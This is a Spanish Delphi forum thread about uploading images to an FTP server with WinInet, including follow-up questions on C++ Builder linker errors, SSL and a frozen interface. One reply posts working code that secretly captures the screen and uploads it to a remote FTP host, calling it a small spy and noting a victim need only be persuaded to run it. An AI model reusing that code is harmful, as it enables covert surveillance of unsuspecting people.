Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Principal > Varios
Registrarse FAQ Miembros Calendario Guía de estilo Temas de Hoy

Grupo de Teaming del ClubDelphi

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 01-09-2006
Avatar de KeyMan
KeyMan KeyMan is offline
Miembro
 
Registrado: oct 2005
Posts: 32
Poder: 0
KeyMan Va por buen camino
Realizar una conexion FTP mediante Delphi

Hola gente tengo que realizar una aplicación que me han pedido, para subir imagenes a un servidor mediante FTP. Dispongo de la versioón Delphi 7 y me gustaría saber por donde empezar.


He oido algo de un componente NMFTP pero no lo encuentro en mi Delphi 7.

Sabeis algo del tema o pensais que hay otra manera más sencilla.

Gracias
__________________
Saludos.. KeyMan
Responder Con Cita
  #2  
Antiguo 01-09-2006
Avatar de roman
roman roman is offline
Moderador
 
Registrado: may 2003
Ubicación: Ciudad de México
Posts: 20.269
Poder: 10
roman Es un diamante en brutoroman Es un diamante en brutoroman Es un diamante en bruto
Podrías probar con las componentes Indy, en particular la TIdFTP. También puedes usar WinInet. Si no mal recuerdo, el compañero seoane ha publicados varios ejemplos de uso. Si no, siempre está La Web de JM, que en su sección de Delphi trae una serie excelente de artículos acerca de WinInet, y en particular, su uso con FTP.

// Saludos
Responder Con Cita
  #3  
Antiguo 01-09-2006
Avatar de seoane
[seoane] seoane is offline
Miembro Premium
 
Registrado: feb 2004
Ubicación: A Coruña, España
Posts: 3.717
Poder: 24
seoane Va por buen camino
Roman de Ftp todavía no había puesto ningún ejemplo, pero lo puedo intentar. La siguiente función sube un archivo a un servidor FTP.

Código Delphi [-]
Uses WinInet;

function Upload(LocalFile, RemoteFile, Server: string; Port: Word;
  Username, Password: PChar): Boolean;
var
  hNet: HINTERNET;
  hCon: HINTERNET;
  Context: DWORD;
begin
  Result := FALSE;
  Context:= 0;
  hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if (hNet <> nil) then
  begin
    hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
      INTERNET_SERVICE_FTP,0,Context);
    if (hCon <> nil) then
    begin
      Result:= FtpPutFile(hCon,PChar(LocalFile),PChar(RemoteFile),
        FTP_TRANSFER_TYPE_BINARY, Context);
      InternetCloseHandle(hCon);
    end;
    InternetCloseHandle(hNet);
  end;
end;

//Ejemplo de como usarla
Upload('C:\Foto.jpg','Carpeta/Foto.jpg','127.0.0.1',21,'Usuario','');

Los parámetros son: el archivo local, el archivo remoto (el que se va a crear), la dirección del servidor (el nombre o la ip), Usuario y password. Los parámetros Usuario y Password son PChar, así que si quieres usar una variable de tipo string tendrás que hacer el conveniente typecast ( PChar(variable) ), si por el contrario quieres hacer una conexión anónima utiliza nil en ambos parámetros.

Ahora es cuando comenzamos a complicar la cosa, en vez de mandar un archivo vamos a mandar una imagen. De echo vamos a capturar la pantalla y subir la imagen al ftp, algo así como un pequeño espía.

Código Delphi [-]
uses Windows, SysUtils, Classes, Graphics, Jpeg, WinInet;

function UploadScreen(Server: string; Port: Word; Username, Password: PChar): Boolean;
var
  hNet: HINTERNET;
  hCon: HINTERNET;
  hFile: HINTERNET;
  Context: DWORD;
  Bmp: Tbitmap;
  Jpg: TJPEGImage;
  Mem: TMemoryStream;
  Escritos: Cardinal;
begin
  Result := FALSE;
  Context:= 0;
  hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if (hNet <> nil) then
  begin
    hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
      INTERNET_SERVICE_FTP,0,Context);
    if (hCon <> nil) then
    begin
      hFile:= FtpOpenFile(hCon,PChar(FormatDateTime('ddmmyyhhnnss',Now)+'.jpg'),GENERIC_WRITE,
        FTP_TRANSFER_TYPE_BINARY,Context);
      if (hFile <> nil) then
      begin
        Bmp:= Tbitmap.Create;
        Jpg:= TJPEGImage.Create;
        Mem:= TMemoryStream.Create;
        try
          try
            bmp.Width:= GetSystemMetrics(SM_CXSCREEN);
            bmp.Height:= GetSystemMetrics(SM_CYSCREEN);
            BitBlt(bmp.Canvas.Handle,0,0,bmp.Width,bmp.Height,GetDc(0),0,0,SRCCOPY);
            jpg.Assign(bmp);
            jpg.CompressionQuality:= 60;
            jpg.Compress;
            jpg.SaveToStream(Mem);
            if InternetWriteFile(hFile,Mem.Memory,Mem.Size,Escritos) then
              Result:= Mem.Size = Escritos
            else
              Result:= FALSE;
          except end;
        finally
          Mem.Free;
          Bmp.free;
          Jpg.free;
        end;
        InternetCloseHandle(hFile);
      end;
      InternetCloseHandle(hCon);
    end;
    InternetCloseHandle(hNet);
  end;
end;


//Un ejemplo de como usarla
var
  Usuario: string;
  Password: string;
begin
  Usuario:= 'Miron';
  Password:= '';
  UploadScreen('127.0.0.1',21,PChar(Usuario),PChar(Password));
end;

Con esto ya se puede espiar a un incauto, solo hace falta convencerlo de que ejecute el programa, lo desbloquee en el firewall de windows y que no tenga otro firewall instalado. En serio, espiar a la gente es una cosa muy fea así que no lo hagáis

Última edición por seoane fecha: 02-09-2006 a las 02:47:48.
Responder Con Cita
  #4  
Antiguo 07-11-2006
JuanErasmo JuanErasmo is offline
Miembro
 
Registrado: ago 2005
Posts: 544
Poder: 19
JuanErasmo Va por buen camino
NO me funciona en Builder...

HOla amigos...ya me he vuelto un experto en traducir de Delphi a builder...
pero en este caso me sale un error extraño...esos de linker...
en la primera parte para subir un archivo a un servidor ftp me sale cuando compilo :
Código:
[Linker Error] Unresolved external 'InternetOpenA' referenced from C:\ARCHIVOS DE PROGRAMA\BORLAND\CBUILDER6\PROJECTS\UNIT1.OBJ
[Linker Error] Unresolved external 'InternetConnectA' referenced from C:\ARCHIVOS DE PROGRAMA\BORLAND\CBUILDER6\PROJECTS\UNIT1.OBJ
es como si no lo reconociera...alguien sabe que pasa? o como arreglarlo? Gracias.
Responder Con Cita
  #5  
Antiguo 08-11-2006
JuanErasmo JuanErasmo is offline
Miembro
 
Registrado: ago 2005
Posts: 544
Poder: 19
JuanErasmo Va por buen camino
hCon me devuelve NULL

hola amigos...estoy intentando traducir ese codigo a a C++ Builder pero en una parte no me funciona.....cuando llamo a InternetConnect, la funcion me devuelve NULL....que estoy haciendo mal??
aca esta la linea de codigo
Código:
 hCon= InternetConnect(hNet,Server.c_str(),(14147),"usuario1","1234",
        INTERNET_SERVICE_FTP,0,Context);
....en hNet si tengo un valor no nulo, pero despues de esto...sihCon queda Null...Server es el contenido de un Edit1->Text, 14147 es el puerto, usuario el login y 1234 la contraseña.....estan bien ingresados los datos????
no me funciona....
Gracias si alguien sabe como arreglar esto muchas gracias
Responder Con Cita
  #6  
Antiguo 08-11-2006
Avatar de seoane
[seoane] seoane is offline
Miembro Premium
 
Registrado: feb 2004
Ubicación: A Coruña, España
Posts: 3.717
Poder: 24
seoane Va por buen camino
Vamos por partes. Server.c_str() es el contenido de un Edit, pero no dices que has escrito en el Edit También seria interesante saber que dice windows que esta fallando. Utiliza la funciones GetLastError, e incluso InternetGetLastResponseInfo para obtener información sobre el fallo. En resumen ¿que hay en el Edit? ¿que código te devuelve GetLastError?
Responder Con Cita
  #7  
Antiguo 31-05-2007
JuanErasmo JuanErasmo is offline
Miembro
 
Registrado: ago 2005
Posts: 544
Poder: 19
JuanErasmo Va por buen camino
hacer el FTP utilizando Servidor seguro SSL

Hola amigos, como puedo hacer el ftp seguro utilizando SSL?

Mi servidor ftp y mi cliente funcionan perfecto, pero por un capricho, quieren que sea con SSL, como me conecto con el servidor, cuando el servidor utiliza SSL?

Gracias amigos,
el codigo de Domingo Seaone funciona perfecto, y cuando en el server le pongo SSL, ya no funciona.....
ademas uso Filexzilla server.
Responder Con Cita
  #8  
Antiguo 24-09-2007
JuanErasmo JuanErasmo is offline
Miembro
 
Registrado: ago 2005
Posts: 544
Poder: 19
JuanErasmo Va por buen camino
Porque se bloquea mi programa mientras hace el envio FTP?

Hola amigos,,,
Otra vez en esto del envio ftp,,,,,
Me esta funcionando muy bien, gracias a la colaboracion de Seaone, pero, mi programa de FTP se "bloquea", hasta que termina el envio.....
no responde, pero cuando termina el envio si funciona ( se desbloquea ).

lo estoy haciendo tal como lo indico seaone en el foro, ,,,
que se puede hacer para que el programa siga respondiendo? que de click y que si funcione?

Muchas Gracias!
Responder Con Cita
Respuesta



Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro

Temas Similares
Tema Autor Foro Respuestas Último mensaje
conexion mediante ODBC a la base de datos mysql, por linea de codigo de delphi sakuragi Conexión con bases de datos 21 15-03-2005 18:43:59
Conexion mediante ODBC, OLE DB, ADO? tsomarp Conexión con bases de datos 1 25-02-2005 13:05:27
Conexion con Oracle mediante ADO PTW Oracle 0 21-02-2005 14:50:25
Conexion a Access Mediante una DLL Draco Conexión con bases de datos 0 29-04-2004 04:27:47
Conexion a DBF mediante DBE Celta777 Conexión con bases de datos 2 18-10-2003 19:59:52


La franja horaria es GMT +2. Ahora son las 21:04:08.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi